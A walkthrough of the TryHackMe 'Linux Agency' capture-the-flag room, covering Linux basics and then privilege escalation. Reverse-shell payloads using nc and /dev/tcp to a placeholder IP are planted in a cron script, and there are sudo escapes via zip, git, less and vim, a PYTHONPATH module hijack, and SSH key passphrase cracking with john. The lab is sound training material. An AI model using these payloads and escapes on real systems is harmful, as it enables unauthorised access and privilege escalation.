Table of Contents

Room: Linux Agency

Difficulty: Medium

This Room will help you to sharpen your Linux Skills and help you to learn basic privilege escalation in a HITMAN theme. So, pack your briefcase and grab your SilverBallers as its gonna be a tough ride.

Task 1 - Deploy the Machine

Welcome to Linux Agency. Agent 47, this is where you will need to go through several tests concerning linux fundamentals and privilege escalation techniques.

This room is proudly made by 0z09e and Xyan1d3

If you enjoy this room, please let us know by tagging us on Twitter. You may also contact us in case of some unintended routes or bugs, and we will be happy to resolve them.

Please do not ask for hints in the TryHackMe Discord server until 7PM on the 30th of January, 2021

Task 1.1 - Deploy This Machine

No Answer Needed

Task 2 - Let’s just jump in

Please wait about 1 minute before SSH’ing into the box.

SSH Username : agent47 SSH Password : 640509040147

Each flag found will serve as the password for the next user. The flag includes the username of the next user that is part of this challenge. The Flag format is : username{md5sum}

The order of users: agent47 –> mission1 –> mission30 will be part of Task 3: Linux Fundamentals.

After those missions, the next levels will be in Task 4: Privilege Escalation.

Task 2.1 - SSH into the box as agent47

No Answer Needed

Task 3 - Linux Fundamentals

Agent 47, we are ICA, the Linux Agency. We will test your Linux Fundamentals. Let’s see if you can pass all these challenges of basic Linux. The password of the next mission will be the flag of that mission. Example: mission1{1234567890} will be the password for the mission1 user.

What is the mission1 flag?

mission1{REDACTED}

I will try my best to get flags with oneliners or with less commands, let’s see how it goes :)

After SSH’ing as ‘agent47’, let’s run grep for our first flag:

agent47@linuxagency:/$ grep -r mission1 /* 2>/dev/null
./home/agent47/.ssh/rc:echo "mission1{REDACTED}"

What is the mission2 flag?

mission2{REDACTED}

This was easy:

mission1@linuxagency:~$ ls
mission2{REDACTED}

What is the mission3 flag?

mission3{REDACTED}

I think its gonna be a smooth ride:

mission2@linuxagency:~$ ls
flag.txt
mission2@linuxagency:~$ cat flag.txt 
mission3{REDACTED}

What is the mission4 flag?

mission4{REDACTED}

mission3@linuxagency:~$ ls
flag.txt
mission3@linuxagency:~$ cat flag.txt 
I am really sorry man the flag is stolen by some thief's.

Flag does not appears to be here, so, I ran grep to find the flag but it was pointing me to this exact file:

mission3@linuxagency:~$ grep -r 'mission4' ./
I am really sorry man the flag is stolen by some thief's.

It is weird, I tried nano on it and found the flag.

  • ^M is making everything on the left non-printable character, which is why they are not displayed while printing the flag.txt with cat.

You can run cat with -v to print non-printable characters:

mission3@linuxagency:~$ cat -v flag.txt 
mission4{REDACTED}^MI am really sorry man the flag is stolen by some thief's.

What is the mission5 flag?

mission5{REDACTED}

mission4@linuxagency:~$ ls
flag
mission4@linuxagency:~$ cd flag/
mission4@linuxagency:~/flag$ ls
flag.txt
mission4@linuxagency:~/flag$ cat flag.txt 
mission5{REDACTED}

What is the mission6 flag?

mission6{REDACTED}

mission5@linuxagency:~$ ls -a
.flag.txt
mission5@linuxagency:~$ cat .flag.txt
mission6{REDACTED}

What is the mission7 flag?

mission7{REDACTED}

mission6@linuxagency:~$ cat .flag/flag.txt 
mission7{REDACTED}

What is the mission8 flag?

mission8{REDACTED}

When you switch to mission7 user, it tries to load .bashrc of user mission6, which is why it throws permission denied, and you can’t cd into /mission7 directly, because here cd will get you to /mission6 (you don’t have any permissions there), so, do cd ../mission7 to go to your home directory, and cat out the flag.

mission7@linuxagency:/home/mission7$ cat flag.txt 
mission8{REDACTED}

What is the mission9 flag?

mission9{REDACTED}

Ride is still going smooth:

mission8@linuxagency:~$ cat /flag.txt 
mission9{REDACTED}

What is the mission10 flag?

mission10{REDACTED}

mission9@linuxagency:~$ cat rockyou.txt | grep mission10
mission101
mission10
mission10{REDACTED}
mission1098
mission108

What is the mission11 flag?

mission11{REDACTED}

mission10@linuxagency:~$ ls 
folder
mission10@linuxagency:~$ cd folder/
mission10@linuxagency:~/folder$ ls
L4D1  L4D10  L4D2  L4D3  L4D4  L4D5  L4D6  L4D7  L4D8  L4D9
mission10@linuxagency:~/folder$ grep -r 'mission' ./
./L4D8/L3D7/L2D2/L1D10/flag.txt:mission11{REDACTED}

What is the mission12 flag?

mission12{REDACTED}

I looked for the flag using find / -iname flag.txt 2>/dev/null and grep -r 'mission' ./ but couldn’t find it, so I tried to explore the .dotfiles and found this in .bashrc:

export flag=$(echo fTAyN2E5Zjc2OTUzNjQ1MzcyM2NkZTZkMzNkMWE5NDRmezIxbm9pc3NpbQo= |base64 -d|rev)
mission11@linuxagency:~$ env
(...)
SSH_TTY=/dev/pts/0
MAIL=/var/mail/mission11
FLAG=mission12{REDACTED}
SHELL=/bin/bash
TERM=xterm-256color
flag=mission12{REDACTED}
(...)

What is the mission13 flag?

mission13{REDACTED}

mission12@linuxagency:~$ ls -la
total 24
drwxr-x---  3 mission12 mission12 4096 Jan 29 23:28 .
drwxr-xr-x 45 root      root      4096 Jan 12 04:02 ..
lrwxrwxrwx  1 mission12 mission12    9 Jan 12 04:02 .bash_history -> /dev/null
-rw-r--r--  1 mission12 mission12 3771 Jan 12 04:02 .bashrc
----------  1 mission12 mission12   44 Jan 12 04:02 flag.txt
drwxrwxr-x  3 mission12 mission12 4096 Jan 29 23:28 .local
-rw-r--r--  1 mission12 mission12  807 Jan 12 04:02 .profile

flag.txt file doesn’t have any permissions which is why we can’t read it, but we are the owner of the file, so we can simply change the permissions and read the flag.txt.

mission12@linuxagency:~$ chmod +r flag.txt 
mission12@linuxagency:~$ cat flag.txt 
mission13{REDACTED}

What is the mission14 flag?

mission14{REDACTED}

mission13@linuxagency:~$ ls -la
total 28
drwxr-x---  3 mission13 mission13 4096 Jan 12 04:02 .
drwxr-xr-x 45 root      root      4096 Jan 12 04:02 ..
lrwxrwxrwx  1 mission13 mission13    9 Jan 12 04:02 .bash_history -> /dev/null
-rw-r--r--  1 mission13 mission13 3771 Jan 12 04:02 .bashrc
-r--------  1 mission13 mission13   61 Jan 12 04:02 flag.txt
drwxr-xr-x  3 mission13 mission13 4096 Jan 12 04:02 .local
-rw-r--r--  1 mission13 mission13  807 Jan 12 04:02 .profile
-rw-------  1 mission13 mission13  978 Jan 12 04:02 .viminfo
mission13@linuxagency:~$ cat flag.txt 
bWlzc2lvbjE0e2Q1OThkZTk1NjM5NTE0Yjk5NDE1MDc2MTdiOWU1NGQyfQo=
mission13@linuxagency:~$ base64 -d flag.txt 
mission14{REDACTED}

What is the mission15 flag?

mission15{REDACTED}

It is binary data:

mission14@linuxagency:~$ cat flag.txt
01101101011010010111001101110011011010010110111101101110001100010011010101111011011001100110001100110100001110010011000100110101011001000011100000110001001110000110001001100110011000010110010101100110011001100011000000110001001100010011100000110101011000110011001100110101001101000011011101100110001100100011010100110101001110010011011001111101

NOTE: I used ‘CyberChef’ for converting.

After converting from binary to ascii, we get our flag: mission15{REDACTED}

What is the mission16 flag?

mission16{REDACTED}

It looks like hex:

mission15@linuxagency:~$ cat flag.txt
6D697373696F6E31367B38383434313764343030333363346332303931623434643763323661393038657D

NOTE: I used ‘CyberChef’ for converting.

after converting from hexadecimal to ascii, we get our flag: mission16{REDACTED}

What is the mission17 flag?

mission17{REDACTED}

mission16@linuxagency:~$ ls -la
total 28
drwxr-x---  2 mission16 mission16 4096 Jan 12 04:02 .
drwxr-xr-x 45 root      root      4096 Jan 12 04:02 ..
lrwxrwxrwx  1 mission16 mission16    9 Jan 12 04:02 .bash_history -> /dev/null
-rw-r--r--  1 mission16 mission16 3771 Jan 12 04:02 .bashrc
-r--------  1 mission16 mission16 8440 Jan 12 04:02 flag
-rw-r--r--  1 mission16 mission16  807 Jan 12 04:02 .profile
mission16@linuxagency:~$ file flag 
flag: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1606102f7b80d832eabee1087180ea7ce24a96ca, not stripped
  • It is a binary file, let’s make it executable and run it.
mission16@linuxagency:~$ chmod +x flag 
mission16@linuxagency:~$ ./flag 


mission17{REDACTED}

What is the mission18 flag?

mission18{REDACTED}

mission17@linuxagency:~$ ls -la
total 20
drwxr-x---  2 mission17 mission17 4096 Jan 12 04:02 .
drwxr-xr-x 45 root      root      4096 Jan 12 04:02 ..
lrwxrwxrwx  1 mission17 mission17    9 Jan 12 04:02 .bash_history -> /dev/null
-rw-r--r--  1 mission17 mission17 3771 Jan 12 04:02 .bashrc
-rwxr-xr-x  1 mission17 mission17  475 Jan 12 04:02 flag.java
-rw-r--r--  1 mission17 mission17  807 Jan 12 04:02 .profile
  • It is a java file, let’s compile it with javac and run it with java.
mission17@linuxagency:~$ javac flag.java
mission17@linuxagency:~$ ls
flag.class  flag.java
mission17@linuxagency:~$ java flag
mission18{REDACTED}

What is the mission19 flag?

mission19{REDACTED}

I like this part, because I get to learn how to compile and run with different compilers/interpreters.

mission18@linuxagency:~$ ls
flag.rb
  • It is a ruby file, let’s run ruby on it.
mission18@linuxagency:~$ ruby flag.rb 
mission19{REDACTED}

What is the mission20 flag?

mission20{REDACTED}

mission19@linuxagency:~$ ls
flag.c
  • It is a c file, let’s compile it with gcc and run it.
mission19@linuxagency:~$ gcc flag.c 
flag.c: In function ‘main’:
flag.c:5:18: warning: implicit declaration of function ‘strlen’ [-Wimplicit-function-declaration]
     int length = strlen(flag);
                  ^~~~~~
flag.c:5:18: warning: incompatible implicit declaration of built-in function ‘strlen’
flag.c:5:18: note: include ‘<string.h>’ or provide a declaration of ‘strlen’
mission19@linuxagency:~$ ./a.out 
mission20{REDACTED}

What is the mission21 flag?

mission21{REDACTED}

mission20@linuxagency:~$ ls
flag.py
mission20@linuxagency:~$ python3 flag.py 
mission21{REDACTED}

What is the mission22 flag?

mission22{REDACTED}

If you check /etc/passwd, you see that user ‘mission21’ logged-in into /bin/sh (not /bin/bash):

mission21:x:1021:1021::/home/mission21:/bin/sh

And if we run /bin/bash we get our flag:

$ /bin/bash
mission22{REDACTED}

You get the flag after spawning /bin/bash (login shell will execute .bashrc which will echo out the flag on execution), as you can see this line in .bashrc:

# Add an "alert" alias for long running commands.  Use like so:
echo "fWZhYTk0ZDI0YjQ4OTZlMmE2ZGU5ODgwYmU0N2FhYzQyezIybm9pc3NpbQo="|base64 -d|rev

What is the mission23 flag?

mission23{REDACTED}

If you check /etc/passwd, you see that we logged-in into /bin/python3 (not /bin/bash):

mission22:x:1022:1022::/home/mission22:/usr/bin/python3

To get into bash from python interpreter, we need to spawn it using python pty:

>>> import pty;pty.spawn("/bin/bash")
mission22@linuxagency:/home/mission21$ cd
mission22@linuxagency:~$ cat flag.txt 
mission23{REDACTED}

What is the mission24 flag?

mission24{REDACTED}

Ride is getting wavy :)

mission23@linuxagency:~$ ls -la
total 24
drwxr-x---  3 mission23 mission23 4096 Jan 15 07:36 .
drwxr-xr-x 45 root      root      4096 Jan 12 04:02 ..
lrwxrwxrwx  1 mission23 mission23    9 Jan 12 04:02 .bash_history -> /dev/null
-rw-r--r--  1 mission23 mission23 3771 Jan 12 04:02 .bashrc
drwxrwxr-x  3 mission23 mission23 4096 Jan 12 06:39 .local
-r--------  1 mission23 mission23   69 Jan 15 07:36 message.txt
-rw-r--r--  1 mission23 mission23  807 Jan 12 04:02 .profile
mission23@linuxagency:~$ cat message.txt 
The hosts will help you.
[OPTIONAL] Maybe you will need curly hairs.

Let’s check the content of /etc/hosts file:

mission23@linuxagency:~$ cat /etc/hosts
127.0.0.1       localhost       linuxagency     mission24.com
127.0.1.1       ubuntu  linuxagency

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback      linuxagency
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

The first line of the content of the file look interesting, there is a webserver running at localhost.

Let’s interact with the local site (I used wget here, you can use curl if you want):

mission23@linuxagency:~$ wget 127.0.0.1
(...)
index.html          100%[===================>]  10.67K  --.-KB/s    in 0s      

2021-01-30 10:27:29 (276 MB/s) - ‘index.html’ saved [10924/10924]
mission23@linuxagency:~$ cat index.html | grep mission
    <title>mission24{REDACTED}</title>

What is the mission25 flag?

mission25{REDACTED}

We got a binary that will give the flag if we give it money (LOL).

mission24@linuxagency:~$ ls -l
total 12
-rwxr-xr-x 1 mission24 mission24 8576 Jan 12 04:02 bribe
mission24@linuxagency:~$ ./bribe 

There is a guy who is smuggling flags
Bribe this guy to get the flag
Put some money in his pocket to get the flag

Words are not the price for your flag
Give Me money Man!!!

Let’s inspect it with ltrace:

mission24@linuxagency:~$ ltrace ./bribe 
getenv("pocket")                                                                                      = nil
getenv("init")                                                                                        = nil
puts("\n\nThere is a guy who is smugglin"...

There is a guy who is smuggling flags
)                                                         = 40
puts("Bribe this guy to get the flag"Bribe this guy to get the flag
)                                                                = 31
puts("Put some money in his pocket to "...Put some money in his pocket to get the flag
)                                                           = 45
system("export init=abc" <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                                                = 0
puts("\nWords are not the price for you"...
Words are not the price for your flag
)                                                          = 39
puts("Give Me money Man!!!\n"Give Me money Man!!!

)                                                                        = 22
+++ exited (status 0) +++

We can see here that the program is taking two environment variables (pocket and init) and printing out some sentences. Let’s assign some value to these variables and see how the program behaves.

mission24@linuxagency:~$ export pocket=100
mission24@linuxagency:~$ ltrace ./bribe 
getenv("pocket")                                                                                      = "100"
strncmp("100", "money", 5)                                                                            = -60
getenv("init")                                                                                        = nil
puts("\n\nThere is a guy who is smugglin"...

There is a guy who is smuggling flags
)                                                         = 40
puts("Bribe this guy to get the flag"Bribe this guy to get the flag
)                                                                = 31
puts("Put some money in his pocket to "...Put some money in his pocket to get the flag
)                                                           = 45
system("export init=abc" <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                                                = 0
puts("\nWords are not the price for you"...
Words are not the price for your flag
)                                                          = 39
puts("Give Me money Man!!!\n"Give Me money Man!!!

)                                                                        = 22
+++ exited (status 0) +++

Here we see a function call to strncmp() function, let’s google it:

- The C library function int strncmp(const char *str1, const char *str2, size_t n) compares at most the first n bytes of str1 and str2.
- Parameters
    str1 − This is the first string to be compared.
    str2 − This is the second string to be compared.
    n − The maximum number of characters to be compared.

Now we know that it is comparing the pocket variables value with the string money and maximum number of characters that are compared are 5 of both, this made me think that maybe I should try giving string value money (it can be any word, but should be 5 characters) to the pocket variable.

mission24@linuxagency:~$ export pocket=money
mission24@linuxagency:~$ ./bribe 
Here ya go!!!
mission25{REDACTED}
Don't tell police about the deal man ;)

What is the mission26 flag?

mission26{REDACTED}

Unfortunately, it looks like that we don’t have normal means to look for stuff.

mission25@linuxagency:~$ ls
bash: ls: No such file or directory
mission25@linuxagency:~$ cat
bash: cat: No such file or directory
mission25@linuxagency:~$ less
bash: less: No such file or directory
mission25@linuxagency:~$ more
bash: more: No such file or directory

We can look what is in current directory by typing anything and doing a double tab:

mission25@linuxagency:~$ something 
.bash_history  .bashrc        flag.txt       .local/        .profile

We can see that we have a flag file here, so now we need something to get its content, luckyly we do have printf:

mission25@linuxagency:~$ printf %s $(<flag.txt) 
mission26{REDACTED}

You can do same thing with echo (we have echo too):

mission25@linuxagency:~$ echo $(<flag.txt)
mission26{REDACTED}

And when I was trying to go to next level:

mission25@linuxagency:~$ su mission26
bash: su: No such file or directory

Well, this is not good.

mission25@linuxagency:~$ echo $PATH
mission25@linuxagency:~$ #its empty

There is nothing in PATH variable (that explains why we were not able to use various commands).

We just need to export the path: PATH=/bin:/usr/bin/su, and switch user with su.

What is the mission27 flag?

mission27{REDACTED}

I don’t know what to say here, LOL. Don’t forget to run file command on files :)

mission26@linuxagency:~$ ls -l
total 84
-r-------- 1 mission26 mission26 85980 Jan 12 04:02 flag.jpg
mission26@linuxagency:~$ file flag.jpg 
flag.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 100x100, segment length 16, comment: "mission27{REDACTED}", progressive, precision 8, 1000x1870, frames 3

What is the mission28 flag?

mission28{REDACTED}

This one was weird.

mission27@linuxagency:~$ ls
flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz
mission27@linuxagency:~$ gzip -d flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz 
mission27@linuxagency:~$ ls
flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png
mission27@linuxagency:~$ cat flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png 
GIF87a
mission28{REDACTED}

What is the mission29 flag?

mission29{REDACTED}

This time we are in /usr/bin/irb, it is an interactive ruby shell:

mission28:x:1028:1028::/home/mission28:/usr/bin/irb

Let’s spawn a bash shell from here and find our flag:

irb(main):005:0> exec '/bin/bash'
mission28@linuxagency:~$ ls
examples.desktop  txt.galf
mission28@linuxagency:~$ cat txt.galf 
}1fff2ad47eb52e68523621b8d50b2918{92noissim

This flag file and its content looks like that they are in mirror position, there is a tool called rev that can be used here:

mission28@linuxagency:~$ rev txt.galf 
mission29{REDACTED}

What is the mission30 flag?

mission30{REDACTED}

These looks like content files of a website:

mission29@linuxagency:~$ ls -l
total 4
drwxr-xr-x 7 mission29 mission29 4096 Jan 12 04:02 bludit
mission29@linuxagency:~$ cd bludit/
mission29@linuxagency:~/bludit$ ls -la
total 44
drwxr-xr-x  7 mission29 mission29 4096 Jan 12 04:02 .
drwxr-x---  3 mission29 mission29 4096 Jan 12 04:02 ..
drwxr-xr-x  2 mission29 mission29 4096 Jan 12 04:02 bl-content
drwxr-xr-x 10 mission29 mission29 4096 Jan 12 04:02 bl-kernel
drwxr-xr-x  2 mission29 mission29 4096 Jan 12 04:02 bl-languages
drwxr-xr-x 27 mission29 mission29 4096 Jan 12 04:02 bl-plugins
drwxr-xr-x  4 mission29 mission29 4096 Jan 12 04:02 bl-themes
-rw-r--r--  1 mission29 mission29  394 Jan 12 04:02 .htaccess
-rw-r--r--  1 mission29 mission29   44 Jan 12 04:02 .htpasswd
-rw-r--r--  1 mission29 mission29  900 Jan 12 04:02 index.php
-rw-r--r--  1 mission29 mission29 1083 Jan 12 04:02 LICENSE
mission29@linuxagency:~/bludit$ grep -r mission ./ | grep mission30
./.htpasswd:mission30{REDACTED}

What is viktor’s Flag?

viktor{REDACTED}

mission30@linuxagency:~$ ls -la
total 36
drwxr-x---  3 mission30 mission30 4096 Jan 12 04:02 .
drwxr-xr-x 45 root      root      4096 Jan 12 04:02 ..
lrwxrwxrwx  1 mission30 mission30    9 Jan 12 04:02 .bash_history -> /dev/null
-rw-r--r--  1 mission30 mission30  220 Jan 12 04:02 .bash_logout
-rw-r--r--  1 mission30 mission30 3771 Jan 12 04:02 .bashrc
drwxr-xr-x  3 mission30 mission30 4096 Jan 12 04:02 Escalator
-rw-r--r--  1 mission30 mission30 8980 Jan 12 04:02 examples.desktop
-rw-r--r--  1 mission30 mission30  807 Jan 12 04:02 .profile

Well, I must say that things are super easy when you know grep and find (they are sherlock holmes of Linux world) and every Linux lad should know these.

mission30@linuxagency:~$ grep -r viktor ./
./Escalator/.git/logs/HEAD:0000000000000000000000000000000000000000 e0b807dbeb5aba190d6307f072abb60b34425d44 root <root@Xyan1d3> 1610359600 +0530       commit (initial): Your flag is viktor{REDACTED}
./Escalator/.git/logs/refs/heads/master:0000000000000000000000000000000000000000 e0b807dbeb5aba190d6307f072abb60b34425d44 root <root@Xyan1d3> 1610359600 +0530  commit (initial): Your flag is viktor{REDACTED}

Task 4 Privilege Escalation

Welcome to Privilege Escalation, 47. Glad you made it this far!!! Now, here are some special targets. Your Target is to teach these bad guys a lesson.

Good luck 47!!!!

su into viktor user using viktor’s flag as password

No Answer Needed

What is dalia’s flag?

dalia{REDACTED}

Found an interesting script:

viktor@linuxagency:~$ find / -user viktor 2>/dev/null
/opt/scripts/47.sh

/opt/scripts/47.sh:

viktor@linuxagency:~$ cat /opt/scripts/47.sh
#!/bin/bash
#echo "Hello 47"
rm -rf /dev/shm/
#echo "Here time is a great matter of essence"
rm -rf /tmp/

Let’s see if it is under crontab:

viktor@linuxagency:~$ cat /etc/crontab
(...)
*  *    * * *   dalia   sleep 30;/opt/scripts/47.sh
*  *    * * *   root    echo "IyEvYmluL2Jhc2gKI2VjaG8gIkhlbGxvIDQ3IgpybSAtcmYgL2Rldi9zaG0vCiNlY2hvICJIZXJlIHRpbWUgaXMgYSBncmVhdCBtYXR0ZXIgb2YgZXNzZW5jZSIKcm0gLXJmIC90bXAvCg==" | base64 -d > /opt/scripts/47.sh;chown viktor:viktor /opt/scripts/47.sh;chmod +x /opt/scripts/47.sh;
  • So this crontab is running forever (making sure that 47.sh file is new and ready to execute by user dalia who is executing it after 30 seconds)
  • At first I got a little confused here because I didn’t knew in what sequence these are running, according this this forum, ‘The order for Ubuntu is top-down but in parallel’, which means that first task starts (and sleep for 30 seconds) and second task starts right after the first task starts and renew the contents of 47.sh file (root users task) and after 30 seconds first task also completes i.e running 47.sh (user dalias task), and the cycle continues.
# IDK why all three payloads are not working:
# payload 1
viktor@linuxagency:/opt/scripts$ echo "/bin/bash -p" > 47.sh 
# payload 2
viktor@linuxagency:/opt/scripts$ echo "nc <IP> 1234 -e /bin/bash" > 47.sh 
# payload 3
viktor@linuxagency:/opt/scripts$ echo "bash -i >& /dev/tcp/<IP>/1234 0>&1" > 47.sh 
# please let me know, i am a noob.

Let’s go with this payload and catch a reverse shell:

viktor@linuxagency:/opt/scripts$ echo "bash -c 'bash -i >& /dev/tcp/<IP>/1234 0>&1'" > 47.sh

Start your listener to recieve the connection (I used nc):

root@kali:~$ nc -lnvp 1234
(...)
dalia@linuxagency:~$ ls
ls
examples.desktop
flag.txt
dalia@linuxagency:~$ cat flag.txt
cat flag.txt
dalia{REDACTED}

What is silvio’s flag?

silvio{REDACTED}

dalia@linuxagency:/opt/scripts$ sudo -l
Matching Defaults entries for dalia on linuxagency:
    env_reset, env_file=/etc/sudoenv, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dalia may run the following commands on linuxagency:
    (silvio) NOPASSWD: /usr/bin/zip

gtfobins is the first thing that came into my mind:

TF=$(mktemp -u)
sudo -u silvio /usr/bin/zip $TF /etc/hosts -T -TT 'sh #'
rm $TF
$ whoami
silvio
$ cd
$ ls
examples.desktop  flag.txt
$ cat flag.txt
silvio{REDACTED}

What is reza’s flag?

reza{REDACTED}

silvio@linuxagency:~$ sudo -l -l
Matching Defaults entries for silvio on linuxagency:
    env_reset, env_file=/etc/sudoenv, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User silvio may run the following commands on linuxagency:

Sudoers entry:
    RunAsUsers: reza
    Options: setenv, !authenticate
    Commands:
        /usr/bin/git

Again, GTFObins at rescue:

sudo -u reza PAGER='sh -c "exec sh 0<&1"' git -p help
$ whoami
reza
$ bash
reza@linuxagency:/home/silvio$ cd
reza@linuxagency:~$ ls
examples.desktop  flag.txt
reza@linuxagency:~$ cat flag.txt
reza{REDACTED}

What is jordan’s flag?

jordan{REDACTED}

$ sudo -l
Matching Defaults entries for reza on linuxagency:
    env_reset, env_file=/etc/sudoenv, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User reza may run the following commands on linuxagency:
    (jordan) SETENV: NOPASSWD: /opt/scripts/Gun-Shop.py

Let’s try to run this script:

$ sudo -u jordan /opt/scripts/Gun-Shop.py
Traceback (most recent call last):
  File "/opt/scripts/Gun-Shop.py", line 2, in <module>
    import shop
ModuleNotFoundError: No module named 'shop'
  • It seems like it is trying to import a module named ‘shop’ which it can not find, well, we can give it one :)
  • We can not write into /opt/scripts but we can on /tmp and give PATH to the Python in /tmp:

Content of shop.py:

import os
os.system("/bin/bash")
reza@linuxagency:/tmp$ mkdir shop
reza@linuxagency:/tmp$ cd shop
reza@linuxagency:/tmp/shop$ nano shop.py
reza@linuxagency:/tmp/shop$ sudo -u jordan PYTHONPATH=/tmp/shop /opt/scripts/Gun-Shop.py
jordan@linuxagency:/tmp/shop$ id
uid=1035(jordan) gid=1035(jordan) groups=1035(jordan)
jordan@linuxagency:/tmp/shop$ cd
jordan@linuxagency:~$ ls
examples.desktop  flag.txt
jordan@linuxagency:~$ cat flag.txt
}3c3e9f8796493b98285b9c13c3b4cbcf{nadroj

It looks like it has been reversed, let’s run rev on the file:

jordan@linuxagency:~$ rev flag.txt
jordan{REDACTED}

What is ken’s flag?

ken{REDACTED}

jordan@linuxagency:~$ sudo -l
Matching Defaults entries for jordan on linuxagency:
    env_reset, env_file=/etc/sudoenv, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jordan may run the following commands on linuxagency:
    (ken) NOPASSWD: /usr/bin/less

gtfobins:

sudo -u ken less /etc/profile
!/bin/bash
ken@linuxagency:~$ cat flag.txt 
ken{REDACTED}

What is sean’s flag?

sean{REDACTED}

ken@linuxagency:~$ sudo -l
Matching Defaults entries for ken on linuxagency:
    env_reset, env_file=/etc/sudoenv, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ken may run the following commands on linuxagency:
    (sean) NOPASSWD: /usr/bin/vim

gtfobins:

ken@linuxagency:~$ sudo -u sean vim -c ':!/bin/bash'

Appearently we are not able to find the flag as ‘sean’ user, but we found that ‘sean’ is an adm user:

sean@linuxagency:~$ grep -r sean /* 2>/dev/null
(...)
/etc/group:adm:x:4:syslog,sean
(...)
sean@linuxagency:~$ id
uid=1037(sean) gid=1037(sean) groups=1037(sean),4(adm)

adm: Group adm is used for system monitoring tasks. Members of this group can read many log files in /var/log, and can use xconsole. Historically, /var/log was /usr/adm (and later /var/adm), thus the name of the group.

So, let’s take a look inside /var/log:

sean@linuxagency:/var/log$ grep -R sean ./* 2>/dev/null
./auth.log:Feb  6 03:32:29 localhost sudo:      ken : TTY=pts/1 ; PWD=/home/ken ; USER=sean ; COMMAND=/usr/bin/vim -c :!/bin/bash
Binary file ./journal/e5c33f65843d4fde84404ee7ae1a0806/user-1036.journal matches
Binary file ./journal/e5c33f65843d4fde84404ee7ae1a0806/system@0005b8b862e0516e-e8cbfb76bd6bfb17.journal~ matches
Binary file ./journal/e5c33f65843d4fde84404ee7ae1a0806/user-1037.journal matches
./syslog.bak:Jan 12 02:58:58 ubuntu kernel: [    0.000000] ACPI: LAPIC_NMI (acpi_id[0x6d] high edge lint[0x1]) : sean{REDACTED} VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==

We got our flag, and we also got a base64 string, let’s decrypt it.

sean@linuxagency:/var/log$ echo "VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==" | base64 -d
The password of penelope is <REDACTED>

What is penelope’s flag?

penelope{REDACTED}

penelope@linuxagency:~$ ls -l
total 56
-rwsr-sr-x  1 maya     maya     39096 Jan 12 04:02 base64
-rw-r--r--  1 penelope penelope  8980 Jan 12 04:02 examples.desktop
-r--------  1 penelope penelope    43 Jan 12 04:02 flag.txt
penelope@linuxagency:~$ cat flag.txt 
penelope{REDACTED}

What is maya’s flag?

maya{REDACTED}

We got a suid base64 binary which is owned by the next user, ‘maya’.

gtfobins:

LFILE=/home/maya/flag.txt
./base64 "$LFILE" | base64 --decode
penelope@linuxagency:~$ LFILE=/home/maya/flag.txt
penelope@linuxagency:~$ ./base64 "$LFILE" | base64 --decode
maya{REDACTED}

Hint: flag==password

maya@linuxagency:~$ ls -l
total 24
-rw-r--r-- 1 maya maya  519 Jan 12 10:51 elusive_targets.txt
-rw-r--r-- 1 maya maya 8980 Jan 12 04:02 examples.desktop
-r-------- 1 maya maya   39 Jan 12 04:02 flag.txt
drwxr-xr-x 2 maya maya 4096 Jan 15 07:25 old_robert_ssh
maya@linuxagency:~$ cat elusive_targets.txt 
Welcome 47 glad you made this far.
You have made our Agency very proud.

But, we have a last unfinished job which is to infiltrate kronstadt industries.
He has a entrypoint at localhost.

Previously, Another agent tried to infiltrate kronstadt industries nearly 3 years back, But we failed.
Robert is involved to be illegally hacking into our server's.

He was able to transfer the .ssh folder from robert's home directory.

The old .ssh is kept inside old_robert_ssh directory incase you need it.

Good Luck!!!
    47

So, we have an id_rsa file that belongs to robert user, and it can be used to infiltrate an entrypoint at localhost according to the text, let’s try it.

What is robert’s Passphrase?

<REDACTED>

maya@linuxagency:~/old_robert_ssh$ ls -l
total 8
-rw------- 1 maya maya 1766 Jan 12 04:02 id_rsa
-rw-r--r-- 1 maya maya  401 Jan 15 07:25 id_rsa.pub

I have copied id_rsa content into id_rsa file on my machine and changed permissions, after that I used ssh2john to get the hash of the file and put it to id_rsa.hash to used john with rockyou.txt wordlist to crack the password:

root@kali:~/dir/tryhackme/linux_agency# chmod 600 id_rsa
root@kali:~/dir/tryhackme/linux_agency# python3 ~/dir/2john/ssh2john.py id_rsa > id_rsa.hash
root@kali:~/dir/tryhackme/linux_agency# john --wordlist=~/dir/rockyou.txt ./id_rsa.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
<REDACTED>   (id_rsa)
1g 0:00:00:12 DONE (2021-02-06 08:11) 0.08278g/s 1187Kp/s 1187Kc/s 1187KC/s *7¡Vamos!
Session completed

<REDACTED> is the passphrase.
